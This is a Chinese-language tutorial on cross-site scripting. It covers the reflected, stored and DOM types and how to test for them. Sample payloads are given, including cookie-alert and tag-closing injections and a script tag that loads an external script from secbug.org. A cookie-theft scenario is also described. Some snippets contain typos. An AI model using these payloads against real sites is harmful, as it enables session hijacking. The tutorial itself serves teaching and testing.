概念
XSS又叫CSS,即是跨站脚本攻击。是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入的恶意代码的网页时,恶意代码将会在用户的浏览器上执行。
原理
XSS一般用JavaScript编写,Javascript可以用来--------获取用户的cookie,改变网页内容,URL跳转。存在CSS漏洞,就可以盗取用户COOKIE,黑掉页面,导航到恶意网站。
例:<script>altert(/xss/)<script>
, 这个代码会触发XSS攻击。
例:script src="http://www.secbug.org/x.txt"></script>
,该方法可以用来加载外部脚本,而在x.txt中就存放着攻击者的恶意代码JavaScript代码,这段代码可能是用来盗取用户的Cookie,可能是监控等恶意行为。(x.txt换成x.jpg只要文件中包含JavaScript代码也会被执行。
XXS类型
XSS主要有3种类型,反射型,存储型,DOM型。
反射型
反射型XSS也被称为非持久性XSS。
①用户访问一个带有XSS代码的URL请求时,服务器端接收数据处理后。
②带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。
例如:
①小明在访问A网站
②攻击者发现XXS漏洞,准备网站B
③攻击者将带有XSS漏洞的URL通过站内的信息发送小明
④小明点击了信息,cookie信息泄露
⑤攻击者通过小明的cookie登录了小明的账号
存储型XSS
存储型XSS又称为持久性XSS。
①允许用户存储数据的WEB应用程序
②攻击者提交一段XSS代码后,被服务器端储存
③当攻击者再次访问某个界面,这段XSS代码就被程序读取出来,响应给浏览器,造成XSS攻击。
例:
①确认输入点和输出点
②根据相应的标签构造HTML代码来闭合
不能得知内容输出的具体位置,则可以使用模糊测试方案。
`<script>alert(document.cookie)</script>`//普通注入
/><script>alert(document.cookie)</script> //闭合标签注入
</textarea><script>alert(document.cookie)</script>//闭合标签注入
DOM XSS
文档对象模型,DOM通常用于代表在HTML,XHTML,XML中的对象。
DOM的规定如下:
整个文档是一个文档节点;
每个HTML标签是一个元素节点;
包含在HTML元素中的文本是文本节点;
每一个HTML属性是一个属性节点;
节点与节点之间有等级关系。
(基于DOM型的XSS是不需要与服务器端交互的)
检测XSS
检测XSS一般分为两种方式,一种是手工检测,另外一种是软件自动检测;
手工检测
最重要是考虑哪里有输入,输入的数据在哪里输出。
1,可得知输出位置
输入一些敏感字符,例如< > " ’ () ,在提交请求后查看HTML源代码,看这些输入字符是否被转义。
2,无法得知输出位子
在<input**>** 标签中:
<input type="text" name="content" value="XSS Test"/> //采用输入"/>XSS Test测试
全自动检测XSS
专业的XSS扫描器,XSSER,XSSF都是不错的选择。